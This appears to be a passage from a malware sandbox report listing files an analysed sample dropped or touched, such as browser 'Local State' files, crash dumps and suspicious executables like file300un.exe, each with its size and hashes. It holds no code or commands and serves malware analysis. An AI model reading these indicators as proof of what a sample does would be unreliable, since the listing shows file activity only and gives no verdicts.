14121143d277885345fdce2a8c9dec8d7a3b9ca6f4a5ae7419ff775fd231ac9e0228f2d35a319b5b7740404ec1ab94de694374fa5d2a3c468c9cad9facb7090c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
262KB

MD5
2c4daf06ed69dc06063f6adea4c790b9

SHA1
004a206111ce2926afd9ee1f7362a2cadd6c4839

SHA256
b7b06677cab258c1d3a8275135a0fb233e35536592cb61c1e0742f52a058cd1c

SHA512
38c5dfb114d4179c0c6e99587f1ebccb93fb40f22cdd7605be71dd569d41fea051367bb09b50a950e87adc01fb2ea634e92b9a7f0b56225495425aa387ad2954

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
257KB

MD5
5aa17e67da5390729352ed4a11da1990

SHA1
e47a79137c6fa29f5d3e4610cdfefaa7beb4e71e

SHA256
5962a7fff106f931b3337fe04db08fa73b386e2e2675895b37950d906971054e

SHA512
62596db2b42b1becae325f078f55d53dfb15f69eb72c559222602d3a688fd2327c73c36a4fb88924e77e36e869dbbeb075352fb8111e6479c7509681a923b6ae

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
263KB

MD5
707d86571e1fa66f657f146c22eac81c

SHA1
bcfdab90abbc393679a9498931395bb6b714d259

SHA256
8a1e2446ae46ea48bfa7d7d22a64527f238ef5a22d3cd6265e33c7e0299f9942

SHA512
ca55ba3264ba992e64be53c3d730c1836f673ef6aef4a5e901ea7805cc4c7a968b9347a4f833ad7fe9b522f5b0c366d0f27793b676282df92b1eeedba1a88602

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
261KB

MD5
dc0d7ca552512c3260b10acf8da96d15

SHA1
01a6c6e9b1676afbcd96bcf12643a42c09400152

SHA256
1a9d92fe1b3d45cee3ef4350a4ab9a6086abb8157c5570d38a7f67e856399f5e

SHA512
f4120edfc59f33a2c934ca972cca109e1943b205846cc9bd9db96b8273e21151b394eb8301bd20f1e93380eeef9d3bd982322a61b246144e0bfbe6f8f06973de

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

Filesize
92KB

MD5
085064d16437307715ff3d7b49379b25

SHA1
250d7675e776aa739b4384d8d3d25ebd2c159959

SHA256
a86cd2400324c09420654e509c063fd9f5a465e3a9562012c4667b03a681c189

SHA512
cd9f4e3d1c5d0f24d55a145e6f7bcc8af8547c31f9969ff6589776a98989ae94076267144cdfb09599ed8d223b2f776675d6614cf8907be431320002d31ebb46

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe58fc7c.TMP

Filesize
89KB

MD5
cc9c4a413c2dc4c34c7927e8b2a1dd7c

SHA1
3fde38f285123676c89d1a755f3b5b1ada4b94ec

SHA256
be096340b9f012551aeb6ce7b5e533f415122bc76c391dc43f10f1d1db8c7872

SHA512
07d74b5051ae28f3e9bdf0e0b3d0443d7889dd0e27843783988cdacdf81c11bca821aea86be8580ac2e827a07b542dd7a4961bf06fcffc4ff54ad9f2c6a95b26

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\738e61cb-adf2-4dc9-8819-33109aa6cac9.tmp

Filesize
1KB

MD5
7b959ed06f9ee25ddde948240fbf5e73

SHA1
7014903207f06cba0d6f73e55969a49ffc60117c

SHA256
7fd013181510cc8318005f1a89ea71457dea439ebf2d799e9cd5fc6d2dc5c3c9

SHA512
260e062ee5bce59f346575e62facdbefc1c1f7ec5a6a6eb46bdfd49626c916a1725ad869199c55c236784f57d86cb7380de42049697762f25a8fbf7061353fee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
150B

MD5
59ccf729073b75b6510f628699d140a1

SHA1
786fcc314a1a174bd80b10586bcceaf06806d98a

SHA256
7b2b8aa44ad55806629151b1a2f3628268898bfcba2ea82bb79359a888d4e34d

SHA512
d5753993125dd9f15bd3fe8a6d601560a6cad57a3a03b44731fbb4dbab5bd225e62bc3b2a639498d1e919a1087c72a3f1989a5f2112b7fcce37382e2bc4161d7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
284B

MD5
4bde8ffd446ee8be6d27378ca601fa3f

SHA1
d133ca6f3dcdbb8f93f746ab8c295529636e04c5

SHA256
e8422af58d4fe92d7519b5f99181fcf4c8a1e79538ba155f31d4e1ff840f2a6d

SHA512
f7ac25f537e14e26a95cfab2d2c648e6c68625598ea2c7371d3ac54f615305b32dfc19433cde0593d9a7c0672d79cffab6671b51a5b3678d10662f9585eb336e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
418B

MD5
8dc775fcc7fc81710c5f26daf1901c71

SHA1
c9f32642bc6d7db706b126d48ce86e9134273f55

SHA256
f723c44c14936b8aad6f1bb388c0219a234e642cf52099c3da78bbf17569ccf4

SHA512
0f34e3fe566f1de14aa8f6d0a212f64dbed0308d9ab1d2caf4adef07ac102bbe411b972c1f37e31fc64e069d324ad8a1ba9859bed20709c2aff096dbed628f2a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
686B

MD5
aaeee5f70ce2e30a401338086fb772a7

SHA1
5714eeda9ef60225da30d5fa151870ec273c9b7a

SHA256
5526a176c74d9c0c4ea21210e989855862642e67bbe5e5cbe874aa6f1179ffa9

SHA512
5a01672663374484e188305cc88fc81bb14cdf1931a5bbbdbe0184e72dddc71b9d392e18eb6044d3cd0e1061c9f71d42b8ee741795996910bda74a4c4eec7885

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
820B

MD5
e6fc5c220a7549201da0526171e3eaa1

SHA1
8e25b308619170a158f52cb81669601281c2e0c7

SHA256
467beecf043bca873160f46b98aa7ed937fc5b319434299f8d1e9d700cba59a3

SHA512
13512ce31d25771a09f694469b50fd08e65f16a33a94903201aef2ca97f9f6a0f715c2ecdb6e589dfabe3d1c84486556152331a2b795b9b6bb55d7cf474f1bca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
954B

MD5
9118dedfae4fcf8efc36aa9158754481

SHA1
7d1ad50d020fa4d0dee33446b497b337b08c0a0b

SHA256
583e5f2be28ca0737b5b550ad9fd180b6af6614c6c310366603ce1cc1cfc260c

SHA512
acd1864a77a6cfb1ca8bdaacbe302068e0a6c29bd774678c7bcf48c09ad5502a0f673bde4e6101517bc243e23861b1d275bc588c35be56544c8ea283d958dde0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
1KB

MD5
2b8a63d228567d690ae020eddd64779e

SHA1
1a67edc6ee65d718155b8f4cbc7c172cd6e9bf6f

SHA256
83b076b339a25a53b36a2e43e274885536b95d2e794fc10806d6f1f9b267fc81

SHA512
032ede76e63be796af5e94a0d3c2afa49df4e140aeaf9d9d4c65e169ec700bf8a5e4f8df2c4bd4219befb2808f95d74b404d985f9d136a5e4362f279f75d875a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

Filesize
1KB

MD5
018d785f203acfd90f73467bb56b535f

SHA1
182cd16fd122fc520dcd92fd77b14acc42e620ab

SHA256
2d39371ce46c3daacf146ecc00b9348c620f21002d729048f53f6b3a1c67e1a9

SHA512
7cef83a5ceb9cc276b49bacf3e52b93dcda717a18588f13435931b1374893542d0157b8735c0ffcdee02e74c1d73150f7f41d0e55a1925ad1fcb51dd0b3691c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\0c5683f4-2db8-4245-9b86-05caf8cf8fea.dmp

Filesize
3.6MB

MD5
ac1201a590c039da60c4a1647261c9e8

SHA1
57def3700aa75294057ee552f4e9bd635be3f88e

SHA256
2ebc46dce31e968817b03c65bdc3dee290198aa298665f8d10ad2455b0219988

SHA512
d6c88063c2dd76635634294d53ac6e851549f33f99c808d6561294e16ff492a63985b6b9d5b4298e4ed50207df71f864e7426a08d1e758e04ebf760d6cca6b34

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\11a849af-9d2e-46d1-a182-2bfac53a4f5a.dmp

Filesize
3.6MB

MD5
9f6d7dc7e6b1fb0f9649775b95c4e07a

SHA1
6fc12d3f9473c375dd6cb2dd35e7eb99d2b1b634

SHA256
086c556d7a1cc521ec86d44248c373bb3d62529c41b2e8e94de53828f3cd35f9

SHA512
eba87c275ae4da13f236c592e84b2a06f1952d745a12b964afaad19c9cb08b69d6de00f0936497ef45fbb4465cb01e96fe52cdaca44b60068dca41cd9e27992e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\50b43453-f262-471a-96c6-9c9f4e273331.dmp

Filesize
3.6MB

MD5
4a4d948c7e58b8ab44ec3c8185d6b9f4

SHA1
581e7b21b8bcd3f8727f33bf2aed152e98957eec

SHA256
2ae2be26fe6b4e9698420ac43d741b096f2a06c8b1f45b013f9b7bab68c6733c

SHA512
c0df4c9336811299a5416af16b9336f383e488727a36897cb1b6008173095c69b344b92a89efc61be6e8865aeff99e8a400330375a979a57e3ae62a6d6140cd2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\62576b4e-8c08-4b65-bc1f-bbd70c7d43a5.dmp

Filesize
3.6MB

MD5
86db55f6368b765c9de54aa21b780182

SHA1
3401d914de7b7eb5c2c329771fae24a757285347

SHA256
99452036e0bc681bde6c38c35cd12577deacfafe6dc5f00d67f7656af0d84469

SHA512
0348dca4f55c4dc38c4a0af3e4b5c9c8f6677ace44801248f24d27efd9d99b1fb9a9d21cb2af87877bd45398b241423f494df6d0c013d08c1696b250a0ac8913

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\8684c4e0-db23-44af-80c6-2ed2b510fff1.dmp

Filesize
3.6MB

MD5
0230be06396b20bcaa0a2a5840844fd7

SHA1
b918ecaac28d62901e57c5131c88f099321ae40c

SHA256
3d5611c7ea160bf49f7f972dc760788d39bf11d8b851f51f0316224a52ef7764

SHA512
7b451f55e7e855c8bc96fcef578459c0fb012ff981864ef35b52833e027e9aacd9291dce930f5e781659e8efda38ec663e1588a2876283d2b0e882638f4e2bc0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\968cba5e-556a-45e9-afbe-c33e1877f79e.dmp

Filesize
3.6MB

MD5
1eccdc25907111a2f957581b2ecba0b9

SHA1
ac95bbcd7c8f80b961ebe5b9a5c6ae0c6fb350db

SHA256
f13d138a4492b54358c1678ba4e0327e05248cf0b0bf5e27aba931dcd57f8bf3

SHA512
722c63667afe0d85bf18dbef89b92771b315368f1bf969ddedd1788c99c1a3efe90c87106936a453ca54e121240985135eb75b6c7488eca8d76293466ad53209

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\9c572f74-fa5b-4714-ad0b-992871097001.dmp

Filesize
3.6MB

MD5
97d1eea0fdf000e72ac1a53f263bc7ce

SHA1
022778b22cf3bfe1be6d50543eefa6ac8438a60e

SHA256
513947bac118c71c5ca2acda240320e971749725c47c7b241339925fd37f5343

SHA512
5af6bbb92a7ade69bdbd0badbfd5f5c1f01cb45e2442268429694a23cfa123dfe31d86246718ec0afd0ade7a0928a10540ed6be7d2c9b7daf1f97462b40c0613

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\ae019e6a-2237-437f-8cbf-796ab0acec8d.dmp

Filesize
3.6MB

MD5
b4b576f2c481d1f22c4be62b2da04259

SHA1
67a0031e7fc767c7a9b3d8ca613eb3c7ea60079b

SHA256
cc2adb70df558d0da25b8f8b12c463c9b8f887a61889e72d59a6fe87b1718a26

SHA512
2cdd9af705e759482d8f926d8d4b8bf048f60d91ebee710ea07634522c6e799c0cb795eb2a223b789825f133f6cef27538866ba63d12ba23ef2a287527bb385a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\b46c82f0-d048-41b6-86f7-3a7da1ae46bb.dmp

Filesize
3.6MB

MD5
5b4bfadc73ae24f53533f3c9caebd270

SHA1
13ece8dd053ca241b76d856b60d0fa3028fc09c2

SHA256
512bdf6cd6a829b2ecd6ac34dc1e1310ae3f6b5e47b9f384ca8af87bb86a9eb2

SHA512
2af5bdeb15b6455c60db86d87a770c20afc30ce69b69d7bdf6a103317893e86fcfeb54fa8fde4c06afe235d25fecfc64b8b66559616941b2c462374b8b447419

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\bc6ca965-50e3-4d44-9460-280cc8d57f7b.dmp

Filesize
3.6MB

MD5
14aa8a7707873725da7f38273c2f1111

SHA1
14238edc21e4b8f7abfdcc5fb8c94a6ce1969b8b

SHA256
9225b3d331b76b44f26ea1820e7c2703a0eeecbc4981d94d13cb058da38c260a

SHA512
f0833f4f72f67e69758f27ea061f87252a16094dcc140f10d5e086f5b4ef226239882f717dbb8f0845a85b7ccc1709e5dda5444cbb184670064c00cbbee31458

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\d39cd378-2e9d-40c3-829b-10dbc70ae7ba.dmp

Filesize
3.6MB

MD5
272134cd5794aca913fcd0aa0f11432b

SHA1
b74835bc19d3025e0c25e949da26db65fae379d1

SHA256
6f44f0eccb0b6d1a83cbd398252afaf7ff4bd3fdb936938523f99c53cdcaa54b

SHA512
873b9a04c6b0fce7bdffab076db7f708b547ea7adc930805a512ab469eea9a30a880e589a64d6eaae9ff11401eb82a05c3170a6eed4062addc3d96447642325f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\d747ac4b-eee4-446f-a9fe-e4afa68505e5.dmp

Filesize
3.6MB

MD5
5450c4817953a6ca83b47c0fbcff1240

SHA1
f8c77b365cf834a769e9d411d8de09e59ed8eee4

SHA256
1deb85bbf492217026993fa86c1159075fee1bb74989795db5f7a49f0edc105c

SHA512
d09993cb83eb403093bcc30852f0012a9254344aa6375c89ff91ae38706178a6e008cf8857f6844e5706ca3833232055c524b2a5905d1b27e27dd24fd28f6de6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
612a6c4247ef652299b376221c984213

SHA1
d306f3b16bde39708aa862aee372345feb559750

SHA256
9d8e24c91cff338e56b518a533cb2e49a2803356bbf6e04892fb168a7ce2844a

SHA512
34a14d63abb1e3fe0f9927a94393043d458fe0624843e108d290266f554018e6379cba924cb5388735abdd6c5f1e2e318478a673f3f9b762815a758866d10973

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
56641592f6e69f5f5fb06f2319384490

SHA1
6a86be42e2c6d26b7830ad9f4e2627995fd91069

SHA256
02d4984e590e947265474d592e64edde840fdca7eb881eebde3e220a1d883455

SHA512
c75e689b2bbbe07ebf72baf75c56f19c39f45d5593cf47535eb722f95002b3ee418027047c0ee8d63800f499038db5e2c24aff9705d830c7b6eaa290d9adc868

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
095c8c7d72f269c50cb319e3b995090e

SHA1
b54649850e3067464d7f5407ac5acbc5dbc31875

SHA256
58ffe268a51f3d05caf07e4fd11d99df6495d11d75225f5e74abd1ff2c148dca

SHA512
e26f5e1d1002a7ccb65ea94d5c2b36e8e9912f094b4e9781306cbbeebf0bbb7060a8eca401a84b624e53dd9385fd428a67093e580975b8505ad23528e0d4fd4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
8a78823b869ddb2891bdd3d494dcc3c9

SHA1
afbb123c1054f3c15fbf228965f861da8a8c9007

SHA256
a241a7e8de2a3045140c053c589a559b31ae6127e6401572bd85f8c0407bdf44

SHA512
eafb736af447bb1d9a6a116d0083c9a6f7f217e5d700d19dbac47eafa72630ba8bbcd9a3753a2edc8ff3f00723afe64dde46f3047b608e510a499bb82f3e133c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
70b45eaabba392d71cfe0a6229021771

SHA1
5c4cfe138c9a3c207e9709374a4210f7b1039c74

SHA256
2a117ca1ce3afe8d4f79f665d65c372a37a355938d2187dd8ef96815ecd75beb

SHA512
8504253aa4a5448535dd5d6a07809396d2b6f9920648ef7b88291cbbee779459adf7ce0eca7535fa7b81c4f29cc512a65fad9072f43f254f173144c1eec88c53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\watson_metadata

Filesize
7KB

MD5
50c3824a5ce311fb8de489d2c906722b

SHA1
646701304da4d5055030dea7c4db4166ea8b125b

SHA256
ec26cd69fafae4bfd96c6bc6f92b65dcb83d6434cdddd77cdcf1d33d9f1f3c3d

SHA512
32e1e36bb4313995c880eaf6344717898417809f1b1ee7b95612157bfb7aee2c223dcc28a3c37e4460e42703b21c4804faecfb8a0b8da4013a4f1a53f7d1665b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\22089026-46d3-4ae8-9fca-59808c4b674c.tmp

Filesize
1B

MD5
5058f1af8388633f609cadb75a75dc9d

SHA1
3a52ce780950d4d969792a2559cd519d7ee8c727

SHA256
cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8

SHA512
0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
192B

MD5
f591eb72cb36a2c9fabbfbbda950a13e

SHA1
48e3b042c88ea5c5783aa5bab23feb9ab46aee31

SHA256
3036aa5facdea109e1b4c51df39b94a29c9362f8a40941ddf94f9f4ee1952a9d

SHA512
8726ad1b4d71b813476edaac6253d8df67d301d94c3d640bfbcb43fbf743fa53c80b377eb542940b54d2c679faf92f1e4dabefecfccbd17d230f27357c71d5b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Filesize
70KB

MD5
e5e3377341056643b0494b6842c0b544

SHA1
d53fd8e256ec9d5cef8ef5387872e544a2df9108

SHA256
e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

SHA512
83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
251bd69ce269d247960c02360ba43baf

SHA1
0edf9779c521740acab427b16ef4ef4880059b71

SHA256
96d1604c532d9543262738e6caf401a5de71144ca757ec1e2d9dca17dd3d264e

SHA512
73374e8456ecf9a0f272c176decb9a2c9b2f4a3bb7fa2fde76ef2158a781f2da81cec9214abdab38719c8ada41659ed7dc84aab07df23a941775f08f614c5c33

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
81e385cee41834ed416c70f53b48ee3e

SHA1
bac345ee423336ac82eeae3701150d5050e5640a

SHA256
aac2a7e1a282e6c84d20c9d2cd4bff9b28407907c07656182f9d1ca518937d15

SHA512
5ab486669dbc4816adb28ef62189e530df53830c3366b9633a4e2e4d4b6ba1b490195b8d8c8964bc4f2c3a0ce3e4bcfb01a6e2e85672c2e8719adb5edeb0e096

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ab57ba256025997925e6ababd5da94c4

SHA1
a34c6f368c3e31a298cba09e07c39523b62f9e9f

SHA256
cd422024d1963c4aa2fe4529d66832dd836b1c0e7595d53d78913ea48a047c28

SHA512
7e84aff2870d3cd221cd3b098519e9de0402cf61698d5425a45d4c49acddf0ae3c59dc04c83dcb7865e6527929c3ac78a1d84012af2312168f1341f77b18fe79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
c2621ccf0395df8cb9f8b5dba8a7b0ad

SHA1
e232b7e7c08dc42c649a1eefe1c4aaf3797e7ef3

SHA256
3a0883b26780b773b6da85bf599c877bc0538f4e75e5e9182676a0d95eb955f1

SHA512
e7250c4e6dea103a1f08919e61a3ad23a9d244abe6694f6b3998561e4ed4df538a869f420e10ddfd0903a1d0e64e5f51601d9b4a86e629b9a330ea74a6bd457b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
d0d388f3865d0523e451d6ba0be34cc4

SHA1
8571c6a52aacc2747c048e3419e5657b74612995

SHA256
902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b

SHA512
376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Albany.cmd

Filesize
26KB

MD5
7290b064b7211ee58263434e7f3e5d06

SHA1
fabad9d3bcac72a0157daebc4d97441b15125a02

SHA256
4d3e9e90746157d6e091a3362f179641f73051fa4f8055c2af1e088584a508dc

SHA512
059a3f07ddd21eb50b60a83aea1eb4f446ec9b358d57a41259adb30038dfa38bbf5e5cb8d2b1baeb525f42bf9543d509d704629b924305358f6fb5b1097fb792

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6E1TJXL2\advdlc[1].htm

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FEHPE754\YBNA2NLU.txt

Filesize
14B

MD5
1207bc197a1ebd72a77f1a771cad9e52

SHA1
8ed121ff66d407150d7390b9276fe690dd213b27

SHA256
260658b9cb063d6ce96f681b18704e02fae7bf8fc995fc249ab0be1400983476

SHA512
d037cfa3b6e6ced9652b2c781bb54cf48dbaa0aaff05039ae4fd0122749eda472807d4198981aa6ceffeba6d2b23d7ad08d7d96983dbd8539cf6b07e46e157f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3a6bad9528f8e23fb5c77fbd81fa28e8

SHA1
f127317c3bc6407f536c0f0600dcbcf1aabfba36

SHA256
986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

SHA512
846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
656B

MD5
184a117024f3789681894c67b36ce990

SHA1
c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e

SHA256
b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e

SHA512
354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

Filesize
830B

MD5
e6edb41c03bce3f822020878bde4e246

SHA1
03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9

SHA256
9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454

SHA512
2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000047001\file300un.exe

Filesize
376KB

MD5
73247ab5fb1b51677d85e3dcbd1d23af

SHA1
8f7bf1e75b3a279ec89cd330dfc2d6a2ee93d4a5

SHA256
30ffca4d25603e479223ababa825b47e2f65b37f24778ea07ce19a9c68494e3a

SHA512
0b09baea0d07bad1db75f1247f584ca881224240905466309514b586ac6eded5c6e399b5914644e053b6caa6fc03d85b60c14c9751edd838309bba741fca48aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\1717260008_00000000_base\360base.dll

Filesize
1.0MB

MD5
b192f34d99421dc3207f2328ffe62bd0

SHA1
e4bbbba20d05515678922371ea787b39f064cd2c

SHA256
58f13d919f44d194827b609b6b267246abc47134bb202472c0dfe033b9d7ed73

SHA512
00d4c7a0a0097eb4b31a71a0eaf6ff0d44619f77a335c75688565e34e6d7f4fb6c258917457d560c6b0a5077603845ce012e01d9862e87fb5327d7f8da970f95

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC3AF.tmp\__data__\config.txt

Filesize
794KB

MD5
a105a47c98f80b8852960c96b87de57f

SHA1
564e75ca9dcf70541b6f89622f1728387b96571f

SHA256
6091181db52b0b2379c6d23966f50a0fc2109d2536f613f1235465774106e9f2

SHA512
50a62a5d9cf35833bd9162021cb29644cd455d725cd7b54b1cb1e364aa8b367aa233eba42fc976242ec538103344c8986c816e7e269aefe3873298ccc843e664

Download Submit
C:\Users\Admin\AppData\Local\Temp\FANBooster2663\FANBooster2663.exe

Filesize
63KB

MD5
0d5df43af2916f47d00c1573797c1a13

SHA1
230ab5559e806574d26b4c20847c368ed55483b0

SHA256
c066aee7aa3aa83f763ebc5541daa266ed6c648fbffcde0d836a13b221bb2adc

SHA512
f96cf9e1890746b12daf839a6d0f16f062b72c1b8a40439f96583f242980f10f867720232a6fa0f7d4d7ac0a7a6143981a5a130d6417ea98b181447134c7cfe2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpCF67.tmp

Filesize
2KB

MD5
1420d30f964eac2c85b2ccfe968eebce

SHA1
bdf9a6876578a3e38079c4f8cf5d6c79687ad750

SHA256
f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9

SHA512
6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yxq25wfj.r5x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\edge_shutdown_crash.txt

Filesize
2B

MD5
06d49632c9dc9bcb62aeaef99612ba6b

SHA1
e91fe173f59b063d620a934ce1a010f2b114c1f3

SHA256
e79e418e48623569d75e2a7b09ae88ed9b77b126a445b9ff9dc6989a08efa079

SHA512
849b2f3f63322343fddc5a3c8da8f07e4034ee4d5eb210a5ad9db9e33b6aec18dea81836a87f9226a4636c6c77893b0bd3408f6d1fe225bb0907c556a8111355

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\7z.exe

Filesize
532KB

MD5
ed53b28ab53811c06879e8fc5e1000ce

SHA1
e4e4d66639097862a59410decf5db146ceaa5d19

SHA256
7135e78794c5ceacb094afcadca57755cc3801591552776f1a717bbdd65605a7

SHA512
be92e468682ee681436c31d8f39db6585185bf8f8adefae8f6646b65c7e9339e54a027ac7e63d9356cb4602d5020664b023a74486c4da629cdc97b5cff61985f

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\_isetup\_isdecmp.dll

Filesize
28KB

MD5
077cb4461a2767383b317eb0c50f5f13

SHA1
584e64f1d162398b7f377ce55a6b5740379c4282

SHA256
8287d0e287a66ee78537c8d1d98e426562b95c50f569b92cea9ce36a9fa57e64

SHA512
